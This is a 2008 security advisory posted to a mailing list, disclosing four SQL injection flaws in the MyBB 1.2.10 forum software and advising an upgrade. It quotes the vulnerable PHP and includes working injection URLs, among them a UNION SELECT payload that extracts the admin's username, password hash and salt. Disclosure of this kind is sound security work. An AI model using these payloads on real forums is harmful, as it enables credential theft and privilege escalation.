[waraxe-2008-SA#062] - Multiple Sql Injections in MyBB 1.2.10 Jan 16 2008 08:19PM
come2waraxe yahoo com


[waraxe-2008-SA#062] - Multiple Sql Injections in MyBB 1.2.10

========================================================================
=======

Author: Janek Vind "waraxe"

Date: 16. January 2008

Location: Estonia, Tartu

Web: http://www.waraxe.us/advisory-62.html

Target software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

MyBB is a discussion board that has been around for a while; it has evolved

from other bulletin boards into the forum package it is today. Therefore,

it is a professional and efficient discussion board, developed by an active

team of developers.

Vulnerabilities discovered

========================================================================
=======

1. SQL Injection in "moderation.php" action "do_mergeposts"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB

installation, including "canmanagethreads".

From source code of "moderation.php" line ~438:

------------------------------------------------------------------------
-------

// Lets merge those selected posts!

case "do_mergeposts":

if(is_moderator($fid, "canmanagethreads") != "yes")

{

error_no_permission();

}

$plugins->run_hooks("moderation_do_mergeposts");

$mergepost = $mybb->input['mergepost'];

if(count($mergepost) <= 1)

{

error($lang->error_nomergeposts);

}

foreach($mergepost as $pid => $yes)

{

$plist[] = $pid;

}

$moderation->merge_posts($plist, $tid, $mybb->input['sep']);

------------------------------------------------------------------------
-------

As seen above, unsanitized array variable 'mergepost' from GPC is delivered to

function "merge_posts()" as first argument - "$plist".

Source code of "merge_posts":

------------------------------------------------------------------------
-------

function merge_posts($pids, $tid, $sep="new_line")

{

global $db, $plugins;

$pidin = implode(",", $pids);

$first = 1;

// Get the messages to be merged

$query = $db->query("

SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts

FROM ".TABLE_PREFIX."posts p

LEFT JOIN ".TABLE_PREFIX."forums f ON (f.fid=p.fid)

WHERE p.tid='$tid' AND p.pid IN($pidin)

ORDER BY dateline ASC

");

------------------------------------------------------------------------
-------

It is obvious, that "$pids" argument will be used in sql query without any

sanitization. So sql injection security hole seems to exist here.

Let's try this proof of concept test:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts

&mergepost[war]=1&mergepost[axe]=2

... and we can see sql error message:

MySQL error: 1054

Unknown column 'war' in 'where clause'

Query: SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts

FROM mybb_posts p LEFT JOIN mybb_forums f ON (f.fid=p.fid)

WHERE p.tid='0' AND p.pid IN(war,axe) ORDER BY dateline ASC

Yes, indeed, sql injection exists and as bonus, we can determine from error

message additional piece of information, useful for sql injections -

table prefix. It can be different from "mybb_" and without knowing it we will

have trouble trying to fetch data from MyBB tables.

This was Proof-Of-Concept test, how about real attack example?

Here it is:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts

&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+S
ELECT+1,

(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)

+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2

As result we can see sql error message:

MySQL error: 1064

You have an error in your SQL syntax; check the manual that corresponds to

your MySQL server version for the right syntax to use near ... line 1

Query: UPDATE mybb_users SET postnum=postnum-1

WHERE uid='^waraxe^aff3fcfc70d2a50c3d4c2158233c3901^C5ybEW6b^''

Yeah - admin's username, password hash and salt, all in one line!

Now - mitigating factors. First of all, attacker must have moderator privileges,

including "canmanagethreads". So this sql injection security hole can be

used for privileges escalation from moderator to admin, if admin's password

is weak enough to be cracked with reasonable processing power and time.

Error feedback - if attacker can't see sql error messages, then this will not

stop the attack, it will be just harder to exploit and involves blind sql

injection attack methods.

2. SQL Injection in "moderation.php" action "allreports"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB

installation.

Let's try:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid=
0'

+UNION+SELECT+waraxe--+

And we see error message:

MySQL error: 1054

Unknown column 'waraxe' in 'field list'

Query: SELECT COUNT(rid) AS count FROM mybb_reportedposts WHERE

rid <= '0' UNION SELECT waraxe-- '

Problematic code:

case "allreports":

if(is_moderator() != "yes")

{

error_no_permission();

}

...

if($mybb->input['rid'])

{

$query = $db->simple_select(TABLE_PREFIX."reportedposts",

"COUNT(rid) AS count", "rid <= '".$mybb->input['rid']."'");

This sql injection can ultimately lead to privilege escalation from

moderator level to admin level - as in previous case.

3. SQL Injection in "moderation.php" action "do_multimovethreads"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

Precondition: attacker must have moderator privileges in target MyBB

installation, including "canmanagethreads".

Let's issue this request:

http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethr
eads

&moveto=2&threads=war|axe

Error message:

MySQL error: 1054

Unknown column 'war' in 'where clause'

Query: SELECT fid, visible, replies, unapprovedposts FROM mybb_threads

WHERE tid IN (war,axe)

Flawed piece of code:

case "do_multimovethreads":

if(is_moderator($fid, "canmanagethreads") != "yes")

{

error_no_permission();

}

$moveto = intval($mybb->input['moveto']);

$threadlist = explode("|", $mybb->input['threads']);

foreach($threadlist as $tid)

{

$tids[] = $tid;

}

...

$moderation->move_threads($tids, $moveto);

Similary to previous two cases, this sql injection can lead to privilege

escalation from moderator level to admin level within MyBB context.

4. SQL Injection in "admin/usergroups.php"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

Precondition: attacker must have admin privileges in MyBB context, therefore

risk level is low. Still, any non-superadmin can fetch any data from database,

including password hashes for other admins.

http://localhost/mybb.1.2.10/admin/usergroups.php?

adminsid=f962d4e991671f3f930d7117a745147f

&action=do_joinrequests

&request[waraxe]=decline

Error:

MySQL error: 1054

Unknown column 'waraxe' in 'where clause'

Query: DELETE FROM mybb_joinrequests WHERE uid IN(waraxe) AND gid=''

http://localhost/mybb.1.2.10/admin/usergroups.php?

adminsid=f962d4e991671f3f930d7117a745147f

&action=do_joinrequests

&request[-1]=decline

&gid='waraxe

Error:

MySQL error: 1064

You have an error in your SQL syntax; check the manual that corresponds to

your MySQL server version for the right syntax to use near 'waraxe'' at line 1

Query: DELETE FROM mybb_joinrequests WHERE uid IN(-1) AND gid=''waraxe'

Reason - incoming variables "request" and "gid" are not properly sanitized

before using in sql queries.

How to fix:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~

Download MyBB new version 1.2.11 as soon as possible!

Greetings:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~

Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb

and anyone else who know me!

Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!

Contact:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~

come2waraxe (at) yahoo (dot) com [email concealed]

Janek Vind "waraxe"

Homepage: http://www.janekvind.com/

Waraxe forum: http://www.waraxe.us/forums.html

---------------------------------- [ EOF ] --------------------------------

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus